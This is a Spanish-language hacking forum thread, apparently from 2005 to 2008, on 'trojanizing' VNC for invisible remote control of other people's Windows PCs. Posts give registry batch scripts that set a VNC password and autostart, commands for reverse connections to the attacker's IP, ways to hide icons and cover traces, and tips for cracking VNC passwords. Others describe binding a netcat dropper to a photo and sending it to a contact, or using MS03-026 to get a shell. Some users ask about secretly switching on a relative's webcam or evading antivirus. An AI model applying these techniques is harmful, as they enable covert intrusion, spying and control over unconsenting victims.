2) Ejecutarse vncserver cargando su configuración desde la clave VNC de HKEY_CURRENT_USER.

En principio, la clave Run de HKEY_LOCAL_MACHINE se ejecuta antes q la clave Run de HKEY_CURRENT_USER así q si ves q se ejecuta el vncserver antes q el .bat q añade la configuración a HKEY_CURRENT_USER, prueba a mover la ejecución del vncserver a la clave Run de HKEY_CURRENT_USER, q se ejecuta posteriormente en el tiempo.

Bueno, como ves todo consiste en jugar con claves de registro y .bats q se ejecutan antes q otras acciones... No sé si lo q te he explicado funcionará, pero puedes hacerte una idea de q tienes q tocar...

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **16 Abril 2005, 15:15**

Bueno, no estoy seguro de q funcione pq hay un par de detalles del registro q no tengo del todo claros:

1) La clave Run de HKEY_LOCAL_MACHINE sólo se ejecuta al iniciar el equipo o se ejecuta también al iniciarse cualquier nueva sesión de usuario (aunq ya se hayan iniciado otras sesiones anteriormente con el equipo encendido)??

2) Desde un .bat en la clave Run de HKEY_LOCAL_MACHINE se podrá añadir una entrada de registro en HKEY_CURRENT_USER??

Buff... hace mucho desde q escribimos este tutorial así tengo el tema del registro bastante oxidado..

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **LfUcK** en **19 Abril 2005, 19:35**

Bueno, despues de mucho probar y toquetear el registro al final conseguí hacer rular el vnc una cuenta que no es mia como decia Gospel, mediate la creacion de un .bat que añade al registro current_user la informacion de configuracion del vnc.
Creé el .bat y añadi una entrada al registro local_machine para que este bat se ejecuatara una sola vez, en el archivo bat tambien añadí una entrada al registro para que la proxima vez que las veces siguientes que cargase windows junto con el se arranque el vnc, esto despues de haber añadido las entradas del bat al registro, ya que ese bat se borrará y tendremos el vnc configurado pero eso no nos serviria de nada si no se arrancase con windows.

Bueno, muchas gracias Gospel, como dije un tema muy interesante... que será lo

proximo.?.?.?.? :-*

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **hermione78** en **18 Agosto 2005, 08:42**

---

hola a todos

oigan pues he descubierto q me infectaron con este troyano por favor alguien sabe como lo puedo desinstalar?

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **19 Agosto 2005, 03:48**

---

solo basta con que borres las llaves del registro que se crearon y listo o con el simple hecho de borrar el archivo winVNC.exe ya no funcionara.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **JR18** en **08 Septiembre 2005, 22:17**

Hola a todos soy bastante novato en este tema del hacking, estaba interesado en hacer esto como practica pero la verdad lo veo imposible, o por lo menos hasta q entienda bastante mas, me gustaria mucho q alguien me ayudara. lo q tengo de momento es:

""programa instalado vnc, tambien e preparado el servidor, y tengo ip."""" me podriais decir lo q me falta, y lo q tengo q hacer y como, la verdad seria de una grata ayuda,..... el tema de "obtener una shell remota"no lo entiendo mucho tampoco, venga saludos y gracias.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: ***pegui*** en **08 Octubre 2005, 20:34**

---

hola yo tambien soy nueva en esto pero **JR18** mi consejo es que leas detenidamente este post, el cual es muy completo, y si necesitas ayuda o mas informacion te invito a que la busques. es facil, solo le tienes que dar arriba a buscar, escribir lo que estes buscando y listo. espero que te haya servido de algo.
Enhorabuena a Gospel y zhyzura. cuando entienda un poco mas intentare ponerlo en practica,jeje. ;D

Título: **se puede krear server parecido al subseven**
Publicado por: **kokakolo** en **23 Enero 2006, 21:14**

---

mi pregunta es...se puede krear un server komo el del subseven?? que se lo envie a la victima y ella lo ejekute ?
tengo ..kreo que si se pudiera seria muy facil pal personal por tanto en medio dia seria

detectado por los antivirus....no?

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **JeRoS** en **23 Enero 2006, 22:40**

Depende como lo crees, no es que uno dice, bueno quiero crear uno asi que ayudenme, tenes o tendrias que tener previos conocimientos de programación en el lenguaje que lo queres hacer.

Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Nicx** en **02 Febrero 2006, 07:30**

---

hola.
soy nuevo en este foro. ;D

tengo un problema con el VNC...aqui le explico:

tengo win2k e instale la nueva version de vnc (4...que permite conexion inversa y tambien permite conectar a si mismo) en mi comp, luego con un exploit dcom ms03-026 obtuve un shell con privilegio de systema de mi propia pc asi que como decia en el tutorial de gospel y zhyzura con un at /interactive hize que el vnc4 se ejecute en la sección actual...pero cuando intentè conectarse a vnc4 salio la ventana que me pide la contraseña e introduci la contraseña que configure pero me salio que error.....
despues con administrador de tarea vi que el servidor de vnc4 esta dentro del at.exe y at.exe esta dentro de privilegio system.....

alguien me puede responder de como solucionar el problema ?
gracias.....muy bueno el tutorial de gospel y zhizura ....y tambien la pag.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **02 Febrero 2006, 23:08**

---

creo que esto no lo entendi (si pudieras explicarlo mas detenidamente):
Citar
despues con administrador de tarea vi que el servidor de vnc4 esta dentro del at.exe y at.exe esta dentro de privilegio system.....

si ejecutaste el comando at con la opcion /interactive no se debe de ejecutar con privilegios de system sino con los privilegios del usuario que este usando dicha maquina.

posiblemente estas tecleando la contraseña mal o algo asi, por que si estas realizando los pasos al pie de la letra no te debera de fallar.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Nicx** en **03 Febrero 2006, 06:37**

---

gracias Zhyzura por su ayuda.
creo que me equivoque en eso de at.exe.....
osea que el programa ejecuto bien con privilegio de usuario y aparecio su icono en la barra de tarea.. pero despues de introducir la contraseña sigue saliendo error...(esta vez comprobe bien la contraseña que registre)
creo que la esta version de vnc (4) no funciona correctamente... entonces probe con radmin y todo salio a la perfeccion.....

si me equivoque en algo porfavor corrigeme.

gracias de nuevo.....

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **04 Febrero 2006, 00:22**

---

yo te recomendaria que utilizaras los mismos ejecutables que usamos en el manual, ya que ademas de estar 100% probados, nunca te aparecera ningun icono en la barra de tareas.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Nicx** en **04 Febrero 2006, 05:09**

El problema es que no estoy conectado en una red local, entonces tuve que probar en mi propia computadora, pero el vnc que estaba en el tutorial no permite conexion con localhost. Por eso tuve que bajar la nueva version de vnc, y resulto que no me funcionò bien.....

seria bueno utilizar el vnc modificada del tutorial en un pc remota... pero la mayoria de las computadoras tiene parcheada el ms03-026 y el (ms04-011).
Que otra vulnerabilidad me recomieda para conseguir shell remota?

graciasssssssssssssss por responder..... :rolleyes:

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **wack-a-mole** en **13 Febrero 2006, 02:12**

Para mi la mejor vulnerabilidad es la ignorancia de la gente! ;)
Yo lo que hago es que hago un .bat que copie el nc.exe y lo agregue al registro. Luego compilo este .bat a .exe con http://www.abyssmedia.com/quickbfc/index.shtml , y finalmente con el DropperGen hago un bind de este archivo con una foto, y le pongo un icono de jpg al .exe que resulta :) Lo meto en un .zip, busco mi contacto mas idiota y se lo mando, cuando lo abre, se abre la foto y en el fondo me instala el Netcat, y no se da cuenta de nada :) Ya tengo una shell, por tftp le subo el VNC! Voila!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **ketamina** en **14 Febrero 2006, 17:04**

Muy buenas, este es mi primer post en el foro asik saludotes a tod@.
Tengo una duda, mi problema no es colar el VNC, ya k el PC a atacar le tiene ya puesto el servidor con una contraseña d 4 caracteres k desconozco, puesto k yo no le he instalado. He intentado verla con los programas esos k dicen k t muestran los asteriscos de las claves pero nada he probado 3:(OPENPASS.EXE, DECODER.EXE Y PASS REVELATOR) y ya digo k fracaso total no funciono ninguno d los 3, asik si sabeis donde guarda la pass el VCN y me lo contais os lo agradeceria, o de algun otro programa k t lo diga aunk sea x fuerza bruta yak como solo tiene 4 caracteres no creo k tarde mucho. Salu2!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **15 Febrero 2006, 05:59**

si te fijas un poco en el manual, uno de los .bat que creamos es el que pone la contraseña en el registro de windows, asi de que la ubicacion exacta de donde esta guardada la contraseña no es dificil que la sepas por que la dice claramente en el manual.

otra cosa, si tienes acceso al pc que tiene el server por que no utilizas crackvnc o Cain para sacar el pass de forma simple?.

Nicx
esas solo son dos vulnerabilidades de tantas que hay, ya hay varias que te dan shell remota y que ademas afectan al SP2 de XP, date una vuelta por el foro de bugs y explits y seguro veras bastantes.
otra cosa, primero averigua los parches que tiene para que asi sepas cuales vulnerabilidades usar.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **ketamina** en **15 Febrero 2006, 11:16**

thank you x tu respuesta zhyzura, pero sigo sin enterarme, en la página 3 pone el código de este BAT:
Código:
```
REG ADD HKEY_CURRENT_USER\Software\ORL
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v AutoPortSelect /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v InputsEnabled /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollConsole /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollOnEvent
/t REG_DWORD /d 0 /f
```

REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t REG_BINARY /d 32149bb09b18f887 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollForeground /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollFullScreen /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollUnderCursor /t REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v SocketConnect /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Winvnc /t REG_SZ /d "C:\WINDOWS\system32\winvnc"
start c:\WINDOWS\system32\winvnc.exe

imagino k la linea "REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t REG_BINARY /d 32149bb09b18f887 /f" es la k contiene la contraseña y en concreto seria "32149bb09b18f887" en formato exadecimal, asik lo he pasado a decimal y buscado los codigos correspondientes a ASCII y me sale en el ejemplo vuestro esto "2¶ø_ø^X°ç" y en mi caso particular contraseña no valida. X lo k deduzco k algo hago mal.
Con respecto a lo dl programa crackVNC no le conocia aunk le he intentado buscar y no le hevisto, el Cain si k le he usado para PWL, pero para VNC nose k archivo le tengo k decir k examine. Saludotes!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **ketamina** en **15 Febrero 2006, 11:50**

---

ya he encontrado el crack con resultados positivos xD, pero me pica la curiosidad d lo dl regedit, si me lo podeis explicar..... enga Salu2!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **carls03** en **20 Marzo 2006, 21:52**

Hey
muy bueno tu manual
solo que al apercer lo estas explicando para el real VNC
Mi pregunta es si fuinciona con el TigthVNC

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **20 Marzo 2006, 22:50**

---

pues si el TigthVNC coloca las entradas en el mismo lugar no debe de haber ningun problema.

aunque si usaras otra version, tendrias que modificar el server para que no aparezca ningun icono en la barra de tareas.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **andrenio** en **03 Mayo 2006, 15:26**

Hola Zhysura y Gospel feat, me he leido el paper de troyanizar el VNCy esta muy bueno.
Les tengo un apunte, a lo mejor ustedes diran, que depronto lo que voy a describir aqui ya se sabia, pero pues para mi es totalmente nuevo, y por eso quiero compartirlo con ustedes, pues lo he buscado y no encontre nada al respecto, y de pronto sirve para otros.

Cuando empece a leer tu paper, en el principio dices, que ambos equipos usan sistema operativo windows, y me desanime, trabajo con Slack. :)

Entonces me propuse a hacerlo funcionar tambien con linux, y esta es la situacion:

Equipo atacante Con Linux Slackware ip 10.20.20.187
Equipo victima Con Windows Xp Sp2 ip 10.20.20.2

Con el nc, todo de maravilla logicamente, no hay ningun problema, pero con el viewer del vnc si, pues es una aplicacion netamente windows.

Listo me decidi a hacer funcionar el VNC Viewer en linux, yo simpre tengo instalado wine, para ejecutar aplicaciones windows en mi maquina linux, pero a cosas, el Viewer es de las pocas aplicaciones que no me quiso cojer.
Siguiente opcion, rdesktop, una aplicacion para escritorio remoto, pero tampoco me rulo.
Cuando ya estaba a punto de tirar la toalla, y haciendo ensayos con este aplicativo, y con este otro, de repente se me ilumino, haciendo un
nmap -vv -sS 10.20.20.2
Me di cuenta que el equipo con el VNC, no tenia un puerto abierto, sino dos, y que uno de esos hacia referencia a algo de HTTP.

Asi que desde el Firefox, http://10.20.20.2:5800/ Y LISTO !!!!
Escritorio remoto desde el entorno WEB.

Nota, si no se tiene instalado el plugin para java, no hay problema, pues todas las distribuciones de hoy dia incorporan el java, lo unico que hay que realizar es lo siguiente:
cd /home/usuario/mozilla/plugins
ln -s /ruta_instalacion_java/plugin/i386/ns7/libjavaplugin_oji.so ./
(en caso de slackware la ruta de java es 1-.2 plugin/i386/ns7/libjavaplugin_oji.so)
Reinicias el navegador, abilitas el java, y ya esta.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Reeverb** en **04 Mayo 2006, 06:25**

dx

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **dimonicat** en **12 Mayo 2006, 00:30**

Hola Reeverb, soy novato en esto y me he estado leyendo todo el post, al principio pone como descargarse el vnc invisible, pero el ftp no esta disponible. Tu me lo podrias pasar?. Gracias

---

Título: **Ayuda vnc con ip dinamica**
Publicado por: **harman** en **27 Mayo 2006, 18:31**

Buenas,

He instalado winVcn y me va perfecto en la LAN, pero quiero acceder también desde el exterior, desde internet. Tengo router e ip privada en el equipo. ¿Qué tengo que hacer para acceder al pc?¿qué ip tengo que meter para ello?

Muchas gracias!!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **ayorias26** en **01 Agosto 2006, 01:17**

---

hola todos ,muy bueno el programa.pero todo elos parte de una base ....la shellsss no he conseguido un manual de instaalcion de netcat o telnet atraves de una cyber..porque es ahi en que se demuestra al efectividad del programa y no e4n las Lan..Esperemos que alguien realize un verdadero tutorial sobre netcat he internet

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **keype** en **26 Agosto 2006, 00:28**

Hago una practica con mi mismo pc, pero no me logro conectar con mi ip externa mi sale el siguiente error:

VNC Viewer: Error
unable to connect to host: Connection refused (10061)

Estoy utilizando el winvnc oculto en el trayicon y el vnc viewer 4.0 con el que se supone me debería funcionar.

Saludos :huh: :huh:

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **jujaLVP** en **26 Agosto 2006, 02:16**

hola gente, tengo un problema:

necesito si o si que el vncviewer se pueda conectar a localhost, porque estoy desarrollando una aplicacion que me permite conectarme a una pc detras de un router con NAT. Lo que yo intento hacer conectarme con el vncviewer a mi aplicacion (la que redirecciona el stream hasta la pc detras del router) y no a un vncserver directo pero cuando intento hacerlo el vncviewer me dice que no acepta conexiones locales.

alguien sabe como cambiar esto?

saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Juancito2006** en **08 Abril 2008, 21:27**

Hola, quisiera saber donde puedo conseguir el vnc.exe invisible, o como es que se llama realmente esa version de vnc server invisible.

Por otro lado, el vnc tiene un tema con la clave, por ejemplo si seteo un password que exceda los 8 caracteres de longitud, alcanza con escribir los primeros 8 caracteres para poder ingresar remotamente al equipo.

¿hay alguna manera de lograr que se pueda acceder remotamente pero tipeando la totalidad del password seteado (ya sea de 15 caracteres) ?

Gracias, Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **gaussio** en **09 Abril 2008, 16:46**

Hola, me gustaría retomar otra vez el tema del VNC.

Primero, el problema de esconder el Icono, se puede resolver utilizando el TigthVNC (que es como el VNC) poniendo en el registro la clave:
HKEY_LOCAL_MACHINE,SOFTWARE\ORL\WinVNC3,DisableTrayIcon,1,REG_DWORD

Segundo, que es la duda que tengo. Actualmente cada vez se da más el escenario en que el ordenador víctima se encuentra detrás de un Router, al que no se tiene total acceso para redirigir los puertos. Por lo tanto aunque logremos activar el VNC Server no nos va a funcionar.
Mi pregunta es, ¿se podría hacer una especie de Reverse VNC con el VNC SERVER? para que actúe como cliente (aunque sea un server) y así salvar el Router e incluso posibles Firewalls.

Un saludo.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Novlucker** en **09 Abril 2008, 17:14**

Hasta donde se, la última versión de VNC admite conexion inversa, pero realmente no la he probado, eso te toca a ti :P

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **gaussio** en **10 Abril 2008, 16:25**

Si que lo admite, pero veo algún problema:

En el Host Atacante (el nuestro) corremos el tigthVNC Viewer (me imagino que con el VNC igual) en modo Listener. Hay que abrir el puerto 5500 en nuestro Router (se supone que tenemos acceso a él)

En el Host Víctima corremos el tigthVNC Server. En el icono que aparece damos botón derecho del ratón y luego ADD Clients. Aparece una ventana de diálogo y ponemos la dirección IP nuestra. Entonces se conecta perfectamente y salvando el Router víctima que no tenemos acceso etc.

El problema es que no puedo hacer botón derecho ratón, ... en el host víctima porque no tengo acceso, luego no vale para nada la conexión inversa.

¿Se podrá hacer lo de add Clientes a través del registro? porque si no se acabó.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Novlucker** en **10 Abril 2008, 17:10**

Te convendría revisar las modificaciones que hace el tigthVNC a la hora de intalarse. Para esto, instalalo en una máquina virtual completamente limpia y mira los cambios que hace al instalarlo, para esto utiliza **whatchanged** o algún programa similar que monitore el registro y las modificaciones en los archivos, también puedes utilizar **Total uninstaller** para hacer esto.

Con el whatchanged verifica si hay algún cambio cuando activas una determinada opción del viewer, y luego que pasa si la quitas por ejemplo, así identificarás donde esta la clave que se ocupa de una cosa u otra.

Espero te sirva de ayuda ;)

Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Novlucker** en **11 Abril 2008, 01:17**

Bueno, resulta que nunca había utilizado el **TightVNC**, así que me decidí a probarlo, yyy, ya he encontrado la manera de solucionar lo que preguntas **gaussio**, y sin mucho trabajo que digamos, solo haciendo uso de opciones que ya trae el programa.

Resulta que el programa permite la ejecución desde consola de comandos (cmd)

Código:
```
winvnc /?
```
Para todas las opciones :P

Así que para realizar una conexion inversa, solo tenemos que dejar el TightVNC en listening,

Y en la pc victima;

winvnc -run, para ejecutar el server, y luego
winvnc -connect 190.190.190.001, aquí al final hay que poner nuestra ip claro esta

Entre comando y comando debe de haber una pequeña espera (el tiempo que demora en iniciarse el server), ya que de lo contrario salta un mensaje avisando que no hay ninguna instancia abierta del programa.

Además, también hay que tener en cuenta que para ejecutar esto hay que situarse en la carpeta de instalación del programa, ej; **C:\Archivos de programa\Tightvnc**,ya que si lo ponemos donde nos inicia el cmd por defecto no funciona ::)

Espero te sirva ;D

Saludos

P.D: Conclusión, debes olvidar todo lo que había puesto en mi post anterior, que el whatchanged y ... :laugh:

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Brehaf** en **11 Abril 2008, 01:27**

Muy buenas quiero aprovechar este post por que tengo un problema con el ultravnc , y aunque en el foro se a dicho que ante de preguntar que se busque, llevo dos día con el problema y no soy capas de resolverlo. Este es el problema, he configura el ultravnc en mi equipo. Pero como suele pasar nuca sale nada a la primera siempre hay algo que se escapa a la hora de configurar el programa y es que cuando entro tanto a través de htpp//xxx.xxx.xxx.:5800 como por el:5900 se me abre mucha ventana una detrás de otra sin para y si muevo el ratón noto que continua como si fuera en cascada y ya he probado con la resolución de la pantalla ,haber si me podéis echar un cable .

muchas gracias por leer mi problema

Título: **Re: Troyanizando VNC - Control Remoto Invisible**

Publicado por: **Novlucker** en **11 Abril 2008, 01:39**

No entiendo bien tu pregunta... según veo te estas conectando a traves del navegador, por medio de java supongo ,pero te saltan muchas ventanas separadas?? o en realidad, te salta la ventana, y dentro de esta, una nueva ventana, y dentro de esta última otra, y otra, y otra..... :P

Te estas conectando a ti mismo? o, a otra pc?

Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Brehaf** en **11 Abril 2008, 01:59**

Novlucker , ante de todo gracias por responde ,te cuento me esto conectado yo mismo (de mi pc a mi pc) el motivo porque ante de instalar el programa en otro pc quiero ver como funciona, luego cuando me conecto atravez de java me salta una venta,luego otra venta y otra ventana ..... sin para , y si me conecto atravez de programa me sale lo mismo

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Novlucker** en **11 Abril 2008, 02:12**

Como te pregunte, esas ventanas te salen una dentro de otra verdad??

Si es así, es porque tu tienes la ventana en pantalla, pero te conectas a ti mismo, entonces a traves de tu viewer ves la ventana que tienes en pantalla, y la ventana que tienes en pantalla tiene tu viewer que esta viendo la pantalla que tu tienes y ,así al infinito, es un efecto parecido a verse en un espejo, y tener un espejo detras, la imagen se refleja una y otra vez :rolleyes:

O sea que solo es un efecto visual, y que dicho sea de paso a mi también me confundió un poco en mis comienzos, pero no es ningún problema de configuración ;D

Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Brehaf** en **11 Abril 2008, 02:20**

Novlucker , entoce si me voy a otro Pc y lo configuro tal como yo lo he configurado no tendre problema "" ;D. pero lo que no me cuada es que si es un efecto parecido a verse a un espejo, la image que yo veo no esta parada y si muevo un poco el raton noto como si la ventana no tuviera fin .

pero de toda forma muchas gracias , ya al meno me quedo mas tanquilo

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Novlucker** en **11 Abril 2008, 02:23**

Es que no, la imagen debería de moverse, deberías de ver mucho punteros, una dentro de cada ventana, y al mover el puntero deberian de moverse todos, quizás tienes habilitada la opción de solo ver, y es por eso que la imagen no se mueve, revisa la configuración :P

Igualmente si fuera solo esto, la respuesta es si, si te vas a otra máquina debería de estar todo ok, y debería de verse solo una ventana, igualmente revisa lo del envío de movimiento del mouse y las teclas ;)

Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Brehaf** en **11 Abril 2008, 02:35**

Novlucker , Pues te agradezco la ayuda que me a prestado ya me puedo ir a dormí tranquilo esta noche, lo que boy hacer mañana es que como tengo otro pc en casa lo boy a conectar lo dos entre si. (Espero que esto se pueda hacer control remoto conectado entre si los dos pc en la opción de grupo de trabajo).

De toda forma gracias de nuevo :laugh:

P.D: mas adelante me gustaría que me explicara como puedo configura este programa para dar seguridad a PC para que no entre nadie que no tenga permiso. Pero poquito a poquito ;D

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **MagnoBalt** en **26 Julio 2008, 03:04**

---

holaa estoy teniendo un problemaa.. he ttroyanizado el TightVNC.. esta casi invisible, se instala silenciosamente, importa los .reg, esconde icono en la barra de tarea..
Pero me surgio un problemita.. Resulta q al intalarse por default el vnc deja una carpeta en el menu inicio, entonces lo quiero Hacer es eliminar el arbol completo del directorio con el comando RD.. pèro me dice esto:

rd /S /Q "%HOMEDRIVE%\DOCUME~1\All Users\Menú Inicio\Programas\tightvnc"

El sistema no puede hallar la ruta especificada.

lo intente asi tmb

rd /S /Q "C:\DOCUME~1\All Users\Menú Inicio\Programas\tightvnc"

y sin las comillas tmb lo intente (ahi se arma peor los errores) ... alguien me puede decir en q estoy errando con el comando...

gracias...

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Novlucker** en **26 Julio 2008, 03:18**

Código:
```
rd /s /q %allusersprofile%\menú inicio\programas\tightvnc
```

Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **MagnoBalt** en **26 Julio 2008, 06:42**

Ahi esta solucionadoo... me colgue con el acento en el menu.. :rolleyes: :rolleyes:
Ahora alguien sabe como puedo sacar los iconos grandes que aparecen cuando apretas inicio..Por q resulta q tambien crea uno ahi (bastante pesado creando iconos el vnc..)

Gracias Novlucker...
Un abrazo

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Novlucker** en **26 Julio 2008, 07:02**

Revisa las claves del registro

HKEY_CLASSES_ROOT\CLSID\{2559a1f1-21d7-11d4-bdaf-00c04f60b9f0}

Donde el f1 va cambiando a modo de índice... f1, f2, f3, etc ;)

Saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **FresyMetal** en **13 Agosto 2008, 22:40**

---

hola me interesa el tema del vnc no como troyano si no como herramienta de kurro.
hos comento, estoy creando un programa de visual basic para que mis clientes pinchando un boton me envien la solicitud de conexion para que yo vea su equipo desde mi pc
he programado el boton para que sea asi:
shell "c:/archivo de programas/realvnc/vnc4/winvnc4.exe -connect miip:puerto"
pero no me conecta, ya no se que hacer.
he provado a ponerlo con el vncviewer y si funciona asi que el problema creo k deve ser el codigo o algo
me podrian hechar un cable?
gracias

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Hole_System** en **14 Agosto 2008, 01:21**

Alguien lo tiene trabajando porque no encuentro el VNC 3 el que tengo es el 4, por favor subanlo pq trate de bajar los de aqui y ya no existen, gracias...

salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **MagnoBalt** en **14 Agosto 2008, 17:43**

Citar
Alguien lo tiene trabajando porque no encuentro el VNC 3 el que tengo es el 4, por favor subanlo pq trate de bajar los de aqui y ya no existen, gracias...

Hola Hole_System, yo lo troyanize con el TightVNC q podes bajarte de http://www.tightvnc.com/download.html.. espero te sirva

Saludos..

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Hole_System** en **15 Agosto 2008, 21:45**

Cita de: MagnoBalt en 14 Agosto 2008, 17:43
Citar
Alguien lo tiene trabajando porque no encuentro el VNC 3 el que tengo es el 4, por favor subanlo pq trate de bajar los de aqui y ya no existen, gracias...

Hola Hole_System, yo lo troyanize con el TightVNC q podes bajarte de http://www.tightvnc.com/download.html.. espero te sirva

Saludos..

Tiens alguna manual...

salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Hole_System** en **16 Agosto 2008, 22:28**

Cita de: Man-in-the-Middle en 08 Octubre 2004, 08:29
Mira te mentiria, pero en mi caso para xp win200
me pongo como administrador

me mapeo

C:\net use x: \\10.10.0.x\C$ pwd /user:nombre_equipo_remoto\test

entro ami regedit

y me conecto remotamente

modifico

en el caso de win200
subes el regini
y en la shell
regini.exe -m \\10.10.1.253 vnc.ini
regini.exe -m \\10.10.1.253 vnc.ini(2 veces)

archivos upload (regini.exe, vnc.ini)

Man como confecciono el .ini, si fueras tan amable de postearmelo aki..

salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **MagnoBalt** en **25 Agosto 2008, 21:22**

Hola Para algunos que esten interesado en troyanizar el VNC, hice un tutorial para que le peguen un vistazo, que se encuentra http://magnobalt.iespana.es/..
Cualquier error me lo avisan..
Saludos!!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **psm1** en **26 Septiembre 2008, 02:12**

Hola a todos, me presento soy Pablo y soy nuevo en el foro, espero que me acepten.
Tengo una pregunta para comenzar, como puedo camuflar un troyano de sub7 para que no lo detecte el antivirus, he probado con algunos brinders pero los detecta.
DESDE YA agradezco SUS RESPUESTAS .SALUDOS

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **pc.17** en **26 Septiembre 2008, 10:34**

Hola, soy berto, tengo 18 añs, mi novia esta conmigo se save la ip de su pc pero su ordenador noesta aqui esta donde vive ella y tenemos k entrar a su ordenador, tiene k mirar una cosa, koo lo puedo hacer, co que programa para k me salga su escritorio en mi pc y lo pueda mirar.

Otra cosa necesito activar la wedcam de mi primo sin k se de kuenta, es para probar si

me sale, m gustaria saber. me bajao el programa, pero en el server no me sale el: Dragon Park episodio 2.exe alguien m dice donde lo puedo conseguir

---

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **redxs** en **27 Septiembre 2008, 04:31**

MagnoBalt en tu tutorial es correcto el modo de intentar arrancar el tinghtvnc al iniciar windows?

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"WinVNC"="\"%HOMEDRIVE%\archiv~1\TightVNC\WinVNC.exe\" -servicehelper"

por que creo que no es valido con un reg add y quitandole unas cosas funcionara , se agrega al registro pero esto es debido al correr el servicio run service helper.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **MagnoBalt** en **29 Septiembre 2008, 21:19**

Hola **redxs** esa clave que muestras esta mal el otro dia estyube observando unos cuantos errores en el tutorial poer no puedo modificarlo por cuestionmes de tiempo con la facultad.
El problema es que estuve observando y no arranca como servicio pero con esta opcion q trae el Tightvnc **WinVNC.exe" -install**, el servicio queda instalado el problema es q le tira un hermoso cartel q te avisa..por lo tanto esa opcion no se como camuflarla despues voy a ver si logro..
Si alguien tiene alguna idea de como poder hacer que diga asi vamos perfeccionando las cosas..Quizas compilarlo al codigo y sacarle ese cartel..
S2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **alzehimer_cerebral** en **16 Octubre 2008, 20:39**

Los links de descarga estan rotos. Alguien los podria facilitar??

Salu2

alzehimer_cerebral

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Oswill** en **05 Diciembre 2008, 07:15**

Cita de: MagnoBalt en 29 Septiembre 2008, 21:19
